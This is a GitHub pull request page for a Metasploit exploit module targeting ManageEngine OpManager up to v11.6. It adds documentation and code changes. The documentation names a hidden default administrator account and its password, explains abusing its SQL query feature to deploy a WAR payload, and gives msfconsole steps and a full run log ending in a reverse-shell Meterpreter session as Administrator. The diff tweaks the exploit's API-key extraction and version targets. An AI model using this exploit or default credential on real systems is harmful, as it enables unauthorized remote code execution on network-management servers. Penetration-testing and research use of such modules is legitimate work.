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OpManager Version Check #8260

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merged 6 commits into from
Jun 20, 2017
Merged

OpManager Version Check #8260

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178d680
version check, as the name for the api key call changes on 11.0. Line…
Apr 18, 2017
18fa411
Updated with Egypt's suggestion, also changed the target name to incl…
Apr 27, 2017
b02719e
Attempt to appease Travis...
pbarry-r7 Jun 20, 2017
14f0409
Missing regex '+', readding so we get full API key.
pbarry-r7 Jun 20, 2017
241786e
Update description with tested versions.
pbarry-r7 Jun 20, 2017
700d392
Add markdown docs.
pbarry-r7 Jun 20, 2017
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63 changes: 63 additions & 0 deletions documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md
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## Description

This module exploits a default credential vulnerability in ManageEngine OpManager, where a
default hidden account "IntegrationUser" with administrator privileges exists. The account
has a default password of "plugin" which can not be reset through the user interface. By
log-in and abusing the default administrator's SQL query functionality, it's possible to
write a WAR payload to disk and trigger an automatic deployment of this payload.

## Vulnerable Application

[OpManager](https://www.manageengine.com/network-monitoring/) is an application designed
around "integrated network management".

This module has been verified against the following OpManager versions:

* v11.0
* v11.4
* v11.5
* v11.6

Installers:

* [OpManager Installers](http://archives.manageengine.com/opmanager/)

## Verification Steps

1. Start msfconsole
1. `use exploit/windows/http/manage_engine_opmanager_rce`
1. `set RHOST <IP addr of target system running OpManager>`
1. `exploit`
1. You should get a working Meterpreter session

## Scenarios

### Targeting Windows Server 2012 running OpManager v11.5

```
msf > use exploit/windows/http/manage_engine_opmanager_rce
msf exploit(manage_engine_opmanager_rce) > set RHOST 10.0.2.12
RHOST => 10.0.2.12
msf exploit(manage_engine_opmanager_rce) > exploit

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Access login page
[*] Location is [ http://10.0.2.12/apiclient/ember/index.jsp;jsessionid=B5903DA9A1DBA5592690EC69AF7FA27D ]
[*] Following redirection
[*] Retrieved API key [ 2eb58a9f104f29c8520d23243502cf5b ]
[*] Executing SQL queries
[*] Attempting to launch payload in deployed WAR...
[*] Attempting to launch payload in deployed WAR...
[*] Attempting to launch payload in deployed WAR...
[*] Sending stage (49667 bytes) to 10.0.2.12
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.12:49496) at 2017-06-20 15:13:50 -0500
[+] Deleted tomcat//webapps//r63xuE3q1gOAZsCQuJ.war
[!] This exploit may require manual cleanup of 'tomcat//webapps//r63xuE3q1gOAZsCQuJ' on the target

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : WIN-SI597APFOFH
OS : Windows Server 2008 6.2 (amd64)
Meterpreter : java/windows
```
8 changes: 3 additions & 5 deletions modules/exploits/windows/http/manage_engine_opmanager_rce.rb
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# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
# It removes large object in database, shoudn't be a problem, but just in case....
Rank = ManualRanking
Expand All @@ -21,7 +19,7 @@ def initialize(info={})
has a default password of "plugin" which can not be reset through the user interface. By
log-in and abusing the default administrator's SQL query functionality, it's possible to
write a WAR payload to disk and trigger an automatic deployment of this payload. This
module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
module has been tested successfully on OpManager v11.0 and v11.4-v11.6 for Windows.
},
'License' => MSF_LICENSE,
'Author' =>
Expand All @@ -40,7 +38,7 @@ module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
'Arch' => ARCH_JAVA,
'Targets' =>
[
['ManageEngine OpManager v11.6', {}]
['ManageEngine OpManager <= v11.6', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Sep 14 2015',
Expand Down Expand Up @@ -122,7 +120,7 @@ def exploit
'method' => 'GET'
})

if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
api_key = $1
print_status("Retrieved API key [ #{api_key} ]")
else
Expand Down